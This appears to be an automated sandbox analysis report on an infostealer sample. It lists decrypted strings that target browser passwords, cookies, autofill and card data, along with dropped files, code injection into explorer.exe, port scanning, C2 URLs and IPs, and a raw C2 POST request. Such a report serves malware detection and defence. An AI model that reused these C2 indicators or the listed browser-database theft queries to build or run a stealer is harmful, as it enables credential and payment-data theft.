Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GlobalFree
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: WideCharToMultiByte
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GlobalAlloc
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: OpenProcess
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: TerminateProcess
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetCurrentProcessId
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: gdiplus.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: ole32.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: bcrypt.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: wininet.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: shlwapi.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: shell32.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: psapi.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: rstrtmgr.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CreateCompatibleBitmap
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: SelectObject
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: BitBlt
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: DeleteObject
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CreateCompatibleDC
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GdipGetImageEncodersSize
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GdipGetImageEncoders
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GdiplusStartup
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GdiplusShutdown
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GdipSaveImageToStream
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GdipDisposeImage
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GdipFree
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetHGlobalFromStream
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CreateStreamOnHGlobal
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CoUninitialize
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CoInitialize
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CoCreateInstance
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: BCryptDecrypt
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: BCryptSetProperty
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: BCryptDestroyKey
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetWindowRect
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetDesktopWindow
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetDC
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CloseWindow
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: wsprintfA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: EnumDisplayDevicesA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetKeyboardLayoutList
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CharToOemW
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: wsprintfW
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: RegQueryValueExA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: RegEnumKeyExA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: RegOpenKeyExA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: RegCloseKey
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: RegEnumValueA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CryptBinaryToStringA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CryptUnprotectData
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: SHGetFolderPathA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: ShellExecuteExA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: InternetOpenUrlA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: InternetConnectA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: InternetCloseHandle
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: InternetOpenA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: HttpSendRequestA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: HttpOpenRequestA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: InternetReadFile
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: InternetCrackUrlA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: StrCmpCA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: StrStrA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: StrCmpCW
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: PathMatchSpecA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetModuleFileNameExA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: RmStartSession
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: RmRegisterResources
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: RmGetList
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: RmEndSession
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: sqlite3_open
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: sqlite3_prepare_v2
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: sqlite3_step
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: sqlite3_column_text
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: sqlite3_finalize
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: sqlite3_close
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: sqlite3_column_bytes
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: sqlite3_column_blob
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: encrypted_key
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: NSS_Init
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: NSS_Shutdown
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: PK11_FreeSlot
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: PK11_Authenticate
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: PK11SDR_Decrypt
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: C:\ProgramData\
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: browser:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: profile:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: url:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: login:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: password:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Opera
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: OperaGX
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Network
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: cookies
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: FALSE
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: autofill
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: SELECT name, value FROM autofill
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: history
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: name:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: month:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: year:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: card:
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Cookies
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Login Data
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: Web Data
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: History
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: logins.json
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: formSubmitURL
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: usernameField
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: encryptedUsername
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: encryptedPassword
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: formhistory.sqlite
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\6719.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6B8F.dll	Joe Sandbox ML: detected
Source: C:\ProgramData\Drivers\csrss.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\85CF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Joe Sandbox ML: detected

Source: 6071.exe, 00000016.00000003.2408256841.0000000003061000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: -----BEGIN RSA PUBLIC KEY-----

memstr_52ef783f-2

Source: BRvptajioG.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\BRvptajioG.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 209.58.180.90:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 86.59.21.38:443 -> 192.168.2.7:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 147.135.65.134:443 -> 192.168.2.7:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.55.235.232:443 -> 192.168.2.7:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 46.254.37.204:443 -> 192.168.2.7:52154 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 46.254.37.204:443 -> 192.168.2.7:51962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 208.91.197.132:443 -> 192.168.2.7:54482 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 208.91.197.132:443 -> 192.168.2.7:51142 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 208.91.197.132:443 -> 192.168.2.7:51135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 208.91.197.132:443 -> 192.168.2.7:51140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 208.91.197.132:443 -> 192.168.2.7:54483 version: TLS 1.2

Source:	Binary string: K?C:\simodus\kotova\yevukih_sofinereyes15\suwekedexabox68.pdb source: BRvptajioG.exe, 00000000.00000000.1243246705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, decegfu, 0000000D.00000000.1559574164.0000000000401000.00000020.00000001.01000000.00000005.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: 6719.exe, 00000010.00000002.2189342344.0000000000ED7000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\simodus\kotova\yevukih_sofinereyes15\suwekedexabox68.pdb source: BRvptajioG.exe, 00000000.00000000.1243246705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, decegfu, 0000000D.00000000.1559574164.0000000000401000.00000020.00000001.01000000.00000005.sdmp

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\

Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 4x nop then jmp 032DCAA9h	16_2_032DC7D1
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 4x nop then jmp 032DB17Fh	16_2_032DAE18
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 4x nop then jmp 032DC0AFh	16_2_032DBD18
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 4x nop then jmp 032DC4A3h	16_2_032DBD18
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 4x nop then jmp 032DA4E4h	16_2_032D9D98
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 4x nop then jmp 032DD573h	16_2_032DD179
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 4x nop then jmp 032D090Bh	16_2_032D08F3

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 34.143.166.163 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 95.158.162.200 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.198.2.251 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.94.245.237 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 193.106.174.149 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: mx.263.net
Source: C:\Windows\explorer.exe	Network Connect: 175.126.109.15 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: pop.knpzwm.com
Source: C:\Windows\SysWOW64\explorer.exe	Network Connect: 91.215.85.17 80

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 46.254.37.204 ports 22,25,26,220,110,143,2,443,587,80,21
Source: global traffic	TCP traffic: 81.68.211.71 ports 22,143,1,2,222,443,80,21
Source: global traffic	TCP traffic: 208.91.197.132 ports 22,110,2,443,995,80,21
Source: global traffic	TCP traffic: 218.20.227.130 ports 22,990,1,2,443,995,80,21

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 localhost

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://dskflherlkhopihsf.com/d414f888bed8c202.php
Source: Malware configuration extractor	URLs: http://snukerukeutit.org/
Source: Malware configuration extractor	URLs: http://lightseinsteniki.org/
Source: Malware configuration extractor	URLs: http://tyiuiunuewqy.org/
Source: Malware configuration extractor	URLs: http://liuliuoumumy.org/
Source: Malware configuration extractor	URLs: http://tonimiuyaytre.org/
Source: Malware configuration extractor	URLs: 38.47.221.193:34368

Tries to resolve many domain names, but no domain seems valid

Source: unknown	DNS traffic detected: query: ftp.ldrshipcoach.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ftp.reqifgccowel.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mailgate.enchanteddesignsanmore.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssh.tkzttitrygbx.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mailgate.yekai.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.jqpgnp.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: egddtd.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssh.msnal.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: imap.lsacwbij.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop3.maksimp.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.egddtd.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.yah0o.es replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssh.yeehop.com.hk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssh.reqifgccowel.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.msnal.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.dieihuyz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.luminous-path.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: omdhggzx.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ftp.hldxxjgzeopbcgaagmail.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.ldrshipcoach.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.lsacwbij.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssh.hldxxjgzeopbcgaagmail.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop3.yabeetowel.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.enchanteddesignsanmore.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.knpzwm.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ftp.yeehop.com.hk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssh.ldrshipcoach.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.mailchme.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mailgate.xfuainui.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ftp.jqpgnp.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.yah0o.es replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ftp.yah0o.es replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssh.axtkmooehtnfekmooefv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop3.enchanteddesignsanmore.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: luminous-path.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.maksimp.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xfuainui.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.axtkmooehtnfekmooefv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.reqifgccowel.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ftp.xfuainui.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssh.gotcf.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: msnal.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.xfuainui.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.axtkmooehtnfekmooefv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.tkzttitrygbx.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssh.luminous-path.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop3.xfuainui.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mailchme.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop3.takin-co.ir replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssh.enchanteddesignsanmore.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: imap.yekai.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ftp.egddtd.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.enchanteddesignsanmore.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mailgate.giannicastellani.it replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.yekai.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.jqpgnp.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.lsacwbij.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssh.yah0o.es replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.dieihuyz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: imap.omdhggzx.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: imap.hldxxjgzeopbcgaagmail.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssh.kfysyscc.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: relay.maksimp.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ldrshipcoach.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: reqifgccowel.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.omdhggzx.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.yah0o.es replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssh.omdhggzx.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop3.lsacwbij.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.tkzttitrygbx.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssh.lsacwbij.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssh.mailchme.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.hldxxjgzeopbcgaagmail.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: knpzwm.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop3.giannicastellani.it replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kfysyscc.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mailgate.takin-co.ir replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ftp.luminous-path.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ftp.axtkmooehtnfekmooefv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ftp.tkzttitrygbx.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssh.parisienne-moonlight.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.takin-co.ir replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop3.parisienne-moonlight.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.luminous-path.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: imap.egddtd.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ftp.msnal.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tkzttitrygbx.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssh.dieihuyz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ftp.kfysyscc.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: jqpgnp.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.egddtd.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yah0o.es replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop3.donankohatsu.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: onualituyrs.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: VGAAeTDAoKrnpnEttuSRXBVbDqU.VGAAeTDAoKrnpnEttuSRXBVbDqU replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.ldrshipcoach.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ftp.gotcf.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.yabeetowel.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.omdhggzx.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.knpzwm.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssh.egddtd.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: enchanteddesignsanmore.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.giannicastellani.it replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.hldxxjgzeopbcgaagmail.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ftp.enchanteddesignsanmore.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssh.xfuainui.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.msnal.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lsacwbij.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.xfuainui.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssh.knpzwm.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.reqifgccowel.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ftp.dieihuyz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ftp.parisienne-moonlight.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: relay.yekai.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: imap.msnal.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mailgate.parisienne-moonlight.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mailgate.maksimp.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: parisienne-moonlight.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: axtkmooehtnfekmooefv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.yabeetowel.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: relay.takin-co.ir replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.yekai.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ftp.knpzwm.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: imap.parisienne-moonlight.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.mailchme.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pop.parisienne-moonlight.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.parisienne-moonlight.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dieihuyz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mailgate.lsacwbij.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ftp.mailchme.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hldxxjgzeopbcgaagmail.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssh.jqpgnp.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.kfysyscc.org replaycode: Name error (3)

Source: Joe Sandbox View	JA3 fingerprint: 523e76adb7aac8f6a8b2bf1f35d85d1f
Source: Joe Sandbox View	JA3 fingerprint: 83d60721ecc423892660e275acc4dffd

Source: global traffic	HTTP traffic detected: POST /d414f888bed8c202.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFCBKKFBAEHJKEBKFCBHost: dskflherlkhopihsf.comContent-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 33 39 35 41 37 38 45 32 37 43 39 33 37 34 30 31 30 35 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 2d 2d 0d 0a Data Ascii: ------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="hwid"6395A78E27C93740105281------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; 